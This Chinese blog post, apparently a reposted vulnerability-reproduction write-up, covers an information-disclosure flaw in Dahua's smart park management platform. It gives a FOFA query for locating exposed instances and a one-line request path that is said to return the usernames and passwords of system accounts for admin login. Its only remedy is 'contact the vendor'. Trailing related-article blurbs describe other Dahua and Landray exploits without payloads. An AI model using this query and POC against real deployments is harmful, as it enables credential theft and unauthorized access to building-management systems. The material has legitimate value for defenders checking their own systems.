【漏洞复现】大华智慧园区综合管理平台信息泄露漏洞

1年前作者：晚风不及你ღ分类：Toy博客阅读(12)违法举报

这篇具有很好参考价值的文章主要介绍了【漏洞复现】大华智慧园区综合管理平台信息泄露漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

Nx01 产品简介

大华智慧园区综合管理平台是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。该平台旨在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。

Nx02 漏洞描述

大华智慧园区综合管理平台存在信息泄露漏洞，攻击者通过此漏洞获取用户名及密码进行后台登陆。

Nx03 产品主页

fofa-query: app.name="Dahua 大华智慧园区管理平台"

【漏洞复现】大华智慧园区综合管理平台信息泄露漏洞,【漏洞复现】,安全,web安全,服务器,网络

Nx04 漏洞复现

POC：

/admin/user_getUserInfoByUserName.action?userName=system

【漏洞复现】大华智慧园区综合管理平台信息泄露漏洞,【漏洞复现】,安全,web安全,服务器,网络

Nx05 修复建议

建议联系软件厂商进行处理。文章来源地址https://www.toymoban.com/news/detail-836925.html

到了这里，关于【漏洞复现】大华智慧园区综合管理平台信息泄露漏洞的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：如若内容造成侵权/违法违规/事实不符，请点击违法举报进行投诉反馈，一经查实，立即删除！

分享到：

领支付宝红包赞助服务器费用

智慧工业园区建设方案-智慧化工园区物联网管理系统平台---豌豆云
将化工园区海量信息互联、互通、互融，结合化工园区建设管理经验，通过“动态感知、主动监测、政企联动、综合管理”。将事件管理从事后处置变为事前防控，保障生产安全，提升环保水平，结合可视化大屏，帮助管理者实时了解园区整体状态，为决策提供依据。助力化
2024年01月23日
浏览(16)
智慧园区SaaS管理系统解决方案：赋能园区实现信息化、数字化管理
智慧园区的概念来源于智慧城市，是指应用云计算、互联网等新一代信息通信技术，改变园区中各机构的交互方式，提高交互效率的新型科技园区。近年来，我国智慧园区发展迅速，随着大数据、人工智能等技术的发展不断取得新突破，以科技赋能产业园区数字化升级是必然
2024年02月02日
浏览(14)
Sovit3D智慧园区:数字孪生园区大屏一体化管理平台
随着全球物联网、移动互联网、云计算、大数据等新一轮信息技术的迅速发展和深入应用，推动产业升级和发展数字经济成为重要发力点。而产业园区作为产业升级转型的重要载体，建设智慧园区的需求高速增长。智慧园区在加强信息基础设施建设的同时，注重创新化、生态
2024年01月17日
浏览(12)
大华城市安防监控系统平台管理存在任意文件下载漏洞
大华城市安防监控系统平台管理存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器上的任意文件。大华城市安防监控系统平台管理 “attachment_downloadByUrlAtt.action” 刷新登录页面进行抓包，然后在数据包中添加POC。
2024年02月13日
浏览(11)
蓝凌EIS智慧协同平台 frm_form_upload.aspx 文件上传漏洞复现
蓝凌EIS智慧协同平台是一款专为企业提供高效协同办公和团队合作的产品。该平台集成了各种协同工具和功能，旨在提升企业内部沟通、协作和信息共享的效率。蓝凌EIS智慧协同平台 frm_form_upload.aspx接口处存在任意文件上传漏洞，未经过身份认证的攻击者可通过构造压缩文
2024年01月23日
浏览(10)
Liveweb智慧园区视频大数据综合监管方案
园区面积范围广、人流量大、日常管理难度高，如何保障园区的安全生产已经成为当前的迫切要求，需要技术先进、稳定可靠的智慧安全系统来保障其正常运行、安全生产。智慧园区借助新一代的云计算、物联网、AI、5G、大数据等技术，对现有互联网技术、传感器技术、智
2024年02月21日
浏览(7)
VR智慧校园资中控管理平台综合提升了课堂教学质量
随着越来越多高校在课堂中引进VR虚拟仿真实训系统，为了方便老师对全班同学进行高效率地管理，VR中控平台应运而生。下面为您详细介绍VR中控平台在课堂教学中的应用优势。 VR中控系统安装在教师总控端，融合了课件、视频、3D动画等丰富的教学资源，并且老师可以对所
2024年02月11日
浏览(12)
智慧校园实验室安全综合管理平台如何保障实验室安全？
一、建设思路实验室安全综合管理平台是基于以实验室安全，用现代化管理思想与人工智能、大数据、互联网技术、物联网技术、云计算技术、人体感应技术、语音技术、生物识别技术、手机APP、自动化仪器分析技术有机结合，通过建立以实验室为中心的管理体系，从人员、
2024年01月20日
浏览(21)
大华 DSS 数字监控系统 itcBulletin SQL 注入漏洞复现
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。大华 DSs 数字监控系统是大华开发的一款安
2024年01月17日
浏览(12)
【漏洞复现】大华 DSS 数字监控系统 itcBulletin SQL 注入
大华 DSS存在SQL注入漏洞，攻击者 pota/services/itcBuletin 路由发送特殊构造的数据包，利用报错注入获取数据库敏感信息。攻击者除了可以利用 SQL注入漏词获取数据库中的信息例如，管理员后台密码、站点的用户人人信息)之外，甚至在高权限的情况可向服务器中写入木马，进一
2024年01月23日
浏览(9)